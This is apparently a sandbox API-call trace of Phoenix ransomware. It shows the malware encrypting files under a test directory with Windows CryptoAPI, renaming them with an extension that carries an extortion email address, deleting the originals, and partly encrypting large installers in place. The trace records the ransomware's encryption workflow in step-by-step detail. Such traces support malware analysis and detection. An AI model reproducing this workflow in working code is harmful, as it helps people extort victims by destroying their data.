	[0066.805] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.806] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=10134) returned 1
	[0066.806] CloseHandle (hObject=0x344) returned 1
	[0066.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80
	[0066.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.806] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.806] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.807] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa648) returned 1
	[0066.807] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.807] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x2796, lpOverlapped=0x0) returned 1
	[0066.854] CryptEncrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x27a0, dwBufLen=0x27a0 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x27a0) returned 1
	[0066.854] WriteFile (in: hFile=0x324, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x27a0, lpOverlapped=0x0) returned 1
	[0066.855] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa608) returned 1
	[0066.855] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.855] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.856] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0066.856] WriteFile (in: hFile=0x324, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.856] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0066.856] CloseHandle (hObject=0x344) returned 1
	[0066.856] CloseHandle (hObject=0x324) returned 1
	[0066.857] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1
	[0066.858] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.858] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.871] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=1901056) returned 1
	[0066.871] CloseHandle (hObject=0x304) returned 1
	[0066.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80
	[0066.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0066.874] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.874] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0066.874] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0066.874] ReadFile (in: hFile=0x304, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x324fe64*=0x40000, lpOverlapped=0x0) returned 1
	[0067.204] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0067.204] ReadFile (in: hFile=0x304, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x324fe64*=0x40000, lpOverlapped=0x0) returned 1
	[0067.596] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0067.596] ReadFile (in: hFile=0x304, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x324fe64*=0x40000, lpOverlapped=0x0) returned 1
	[0067.684] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324feb4 | out: phKey=0x324feb4*=0xbaa5c8) returned 1
	[0067.684] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0067.685] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe68*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x35f1020*, pdwDataLen=0x324fe68*=0xc0060) returned 1
	[0067.687] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0067.687] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe90 | out: lpNewFilePointer=0x0) returned 1
	[0067.687] WriteFile (in: hFile=0x304, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x324fea0, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea0*=0xc0112, lpOverlapped=0x0) returned 1
	[0067.718] SetEndOfFile (hFile=0x304) returned 1
	[0067.718] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x324fe60 | out: lpNewFilePointer=0x0) returned 1
	[0067.718] WriteFile (in: hFile=0x304, lpBuffer=0x36b114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fe6c, lpOverlapped=0x0 | out: lpBuffer=0x36b114a*, lpNumberOfBytesWritten=0x324fe6c*=0x40000, lpOverlapped=0x0) returned 1
	[0068.181] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x324fe60 | out: lpNewFilePointer=0x0) returned 1
	[0068.181] WriteFile (in: hFile=0x304, lpBuffer=0x36b114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fe6c, lpOverlapped=0x0 | out: lpBuffer=0x36b114a*, lpNumberOfBytesWritten=0x324fe6c*=0x40000, lpOverlapped=0x0) returned 1
	[0068.184] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe60 | out: lpNewFilePointer=0x0) returned 1
	[0068.184] WriteFile (in: hFile=0x304, lpBuffer=0x36b114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fe6c, lpOverlapped=0x0 | out: lpBuffer=0x36b114a*, lpNumberOfBytesWritten=0x324fe6c*=0x40000, lpOverlapped=0x0) returned 1
	[0068.186] CloseHandle (hObject=0x304) returned 1
	[0069.511] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0069.511] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0069.512] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=1163264) returned 1
	[0069.512] CloseHandle (hObject=0x344) returned 1
	[0069.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80
	[0069.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.512] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0069.512] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0069.513] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0069.513] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0069.513] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa4c8) returned 1
	[0069.513] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0069.513] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x110100, lpOverlapped=0x0) returned 1
	[0069.959] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x110100, dwBufLen=0x110100 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x110100) returned 1
	[0069.961] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x110100, lpOverlapped=0x0) returned 1
	[0070.052] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0xbf00, lpOverlapped=0x0) returned 1
	[0070.269] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0xbf10, dwBufLen=0xbf10 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0xbf10) returned 1
	[0070.269] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xbf10, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xbf10, lpOverlapped=0x0) returned 1
	[0070.271] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa6c8) returned 1
	[0070.271] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0070.271] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0070.271] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0070.271] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0070.271] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0070.271] CloseHandle (hObject=0x344) returned 1
	[0070.271] CloseHandle (hObject=0x310) returned 1
	[0070.384] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1
	[0070.386] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0070.386] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0070.387] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=872448) returned 1
	[0070.387] CloseHandle (hObject=0x310) returned 1
	[0070.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80
	[0070.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0070.388] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0070.388] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0070.388] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0070.388] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0070.388] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa948) returned 1
	[0070.388] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0070.388] ReadFile (in: hFile=0x310, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0xd5000, lpOverlapped=0x0) returned 1
	[0071.246] CryptEncrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0xd5010, dwBufLen=0xd5010 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0xd5010) returned 1
	[0071.247] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xd5010, lpOverlapped=0x0) returned 1
	[0071.497] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa288) returned 1
	[0071.497] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0071.497] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0071.497] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0071.497] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0071.497] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0071.497] CloseHandle (hObject=0x310) returned 1
	[0071.498] CloseHandle (hObject=0x344) returned 1
	[0071.512] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1
	[0071.519] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0071.519] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0071.519] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=495616) returned 1
	[0071.519] CloseHandle (hObject=0x344) returned 1
	[0071.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80
	[0071.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0071.520] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0071.520] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0071.520] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0071.520] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.520] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa848) returned 1
	[0072.252] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0072.252] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x79000, lpOverlapped=0x0) returned 1
	[0072.354] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x79010, dwBufLen=0x79010 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x79010) returned 1
	[0072.355] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x79010, lpOverlapped=0x0) returned 1
	[0072.410] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa288) returned 1
	[0072.410] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0072.410] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0072.410] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0072.410] WriteFile (in: hFile=0x310, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0072.411] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0072.411] CloseHandle (hObject=0x344) returned 1
	[0072.411] CloseHandle (hObject=0x310) returned 1
	[0072.429] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1
	[0072.638] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0072.638] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0072.638] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=184832) returned 1
	[0072.638] CloseHandle (hObject=0x310) returned 1
	[0072.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80
	[0072.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0072.638] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0072.639] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0072.639] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0072.639] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0072.639] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa488) returned 1
	[0072.639] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
